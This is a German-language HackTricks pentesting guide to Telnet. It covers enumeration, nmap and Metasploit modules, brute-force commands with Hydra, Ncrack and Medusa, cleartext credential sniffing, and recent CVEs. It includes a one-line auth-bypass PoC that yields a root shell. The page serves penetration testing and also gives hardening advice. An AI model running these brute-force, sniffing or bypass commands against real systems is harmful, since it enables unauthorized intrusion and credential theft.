23 - Pentesting Telnet

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Telnet ist ein Netzwerkprotokoll, das Benutzern einen unsicheren Weg bietet, über ein Netzwerk auf einen Computer zuzugreifen.

Standardport: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Alle interessanten enumeration lassen sich mit nmap durchführen:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Das Skript telnet-ntlm-info.nse ermittelt NTLM-Informationen (Windows-Versionen).

Aus der telnet RFC: Im TELNET-Protokoll gibt es verschiedene “options”, die vorgesehen sind und mit der Struktur “DO, DON’T, WILL, WON’T” verwendet werden können, damit Client und Server sich darauf einigen können, einen umfangreicheren (oder eventuell nur anderen) Satz von Konventionen für ihre TELNET-Verbindung zu verwenden. Solche Optionen können z. B. den Zeichensatz, den Echo-Modus usw. ändern.

I know it is possible to enumerate this options but I don’t know how, so let me know if know how.

Enumerate Telnet Optionen / Features

Telnet verwendet IAC + DO/DONT/WILL/WONT-Verhandlungen, um Optionen zu aktivieren. Man kann die unterstützten Optionen beobachten, indem man die anfängliche Verhandlung mitschneidet und durch gezieltes Proben nach bestimmten Features vorgeht.

Nmap option/feature probes

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Das telnet-encryption-Script prüft, ob die ENCRYPT-Option unterstützt wird; einige Implementierungen haben diese Option historisch falsch gehandhabt und waren verwundbar, aber das Script überprüft nur die Unterstützung. telnet-ntlm-info gibt NTLM-Metadaten (NetBIOS/DNS/OS-Build) preis, wenn Microsoft Telnet NTLM aktiviert ist. telnet-brute ist ein NSE-Brute-Force-Auditor für Telnet.

Brute force

Config file

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Automatische Befehle

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Kürzliche Schwachstellen (2022–2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Unzureichende Eingabevalidierung im Telnet-Service erlaubt es entfernten Angreifern, sich mit hartkodierten Anmeldeinformationen einzuloggen und OS-Befehle zu injizieren; behoben in Firmware 1.04B05 oder neuer.
  • CVE-2023-40478 – NETGEAR RAX30: Stackbasierter Buffer-Overflow in der Telnet-CLI passwd-Funktion ermöglicht netzwerknahe Codeausführung als root; Authentifizierung ist erforderlich, kann aber umgangen werden.
  • CVE-2022-39028 – GNU inetutils telnetd: Eine Zwei-Byte-Sequenz (0xff 0xf7 / 0xff 0xf8) kann eine NULL-Pointer-Dereferenz in telnetd auslösen; wiederholte Abstürze können dazu führen, dass inetd den Dienst deaktiviert (DoS).

Behalte diese CVEs während der Schwachstellen-Triage im Hinterkopf — wenn das Ziel eine ungepatchte Firmware oder einen veralteten inetutils Telnet-Daemon verwendet, kann das einen direkten Weg zur Codeausführung oder zu einem störenden DoS eröffnen.

CVE-2026-24061 — GNU Inetutils telnetd Authentifizierungsumgehung (kritisch)

Primitive: Telnet NEW_ENVIRON erlaubt Clients, während der Optionsverhandlung Umgebungsvariablen zu senden; inetutils telnetd ersetzt %U in seiner Login-Vorlage durch getenv("USER") und übergibt es direkt an /usr/bin/login, wodurch argv-level option injection (keine Shell-Expansion) möglich wird.
Ursache: Versionen 1.9.3–2.7 erweitern %U ohne Filterung, sodass ein USER-Wert, der mit - beginnt, als login-Flag interpretiert wird. Zum Beispiel wird %U zu -f root, was /usr/bin/login -h <hostname> "-f root" ergibt und die Authentifizierung durch login -f umgeht.

Exploit-Ablauf:

  1. Mit dem Telnet-Dienst verbinden und NEW_ENVIRON verhandeln, um USER=-f root zu setzen.
  2. telnetd erstellt das Login-argv, das den vom Angreifer kontrollierten %U-Wert enthält.
  3. /usr/bin/login interpretiert -f root als “vor-authentifizierter Benutzer root” und startet eine Root-Shell.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Patch-Hinweis: inetutils 2.7-2 führt einen sanitize()-Helper ein, der Werte ablehnt, die mit - beginnen oder Whitespace/Metazeichen enthalten, bevor sie in das login argv eingesetzt werden, und damit option injection blockiert. Erkennung/Verifizierung: Identifiziere exponierte Daemons mit telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd oder netstat -tlnp | grep :23.

Abhilfemaßnahmen

  • Patch/Upgrade betroffene Pakete sofort aktualisieren (z. B. sind Debian-Fixes in 2:2.4-2+deb12u2, 2:2.6-3+deb13u1 und 2:2.7-2).
  • Disable Telnet oder den Zugriff während des Patchens auf vertrauenswürdige Management-Netzwerke beschränken.

Sniffing Credentials & Man-in-the-Middle

Telnet überträgt alles, einschließlich credentials, im clear-text. Zwei schnelle Möglichkeiten, diese zu erfassen:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Für aktive MITM-Angriffe kombiniere ARP spoofing (z. B. arpspoof/ettercap) mit denselben sniffing filters, um Passwörter in switched networks abzugreifen.

Automated Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Die meisten IoT botnets (Mirai variants) scannen weiterhin Port 23 mit kleinen default-credential dictionaries — diese Logik nachzuahmen kann schnell schwache Geräte identifizieren.

Exploitation & Post-Exploitation

Metasploit hat mehrere nützliche Module:

  • auxiliary/scanner/telnet/telnet_version – Banner- und Optionsauflistung.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded Brute-Force.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE gegen verwundbares Solaris 9/10 Telnet (fehlerhafte Behandlung der Option ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – aktiviert den Telnet-Dienst mit einem präparierten Paket auf vielen NETGEAR-Routern.

Nachdem eine Shell erlangt wurde, denk daran, dass TTYs in der Regel “dumm” sind; verbessere sie mit python -c 'import pty;pty.spawn("/bin/bash")' oder nutze die HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Bevorzuge SSH und deaktiviere den Telnet-Dienst komplett.
  2. Wenn Telnet erforderlich ist, binde ihn nur an Management-VLANs, setze ACLs durch und schütze den Daemon mit TCP wrappers (/etc/hosts.allow).
  3. Ersetze veraltete telnetd-Implementierungen durch ssl-telnet oder telnetd-ssl, um Transportverschlüsselung hinzuzufügen, aber das schützt nur Daten während der Übertragung — Passwort-Erraten bleibt trivial.
  4. Überwache ausgehenden Verkehr zu Port 23; Kompromittierungen starten häufig Reverse-Shells über Telnet, um strikte HTTP-Egress-Filter zu umgehen.

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks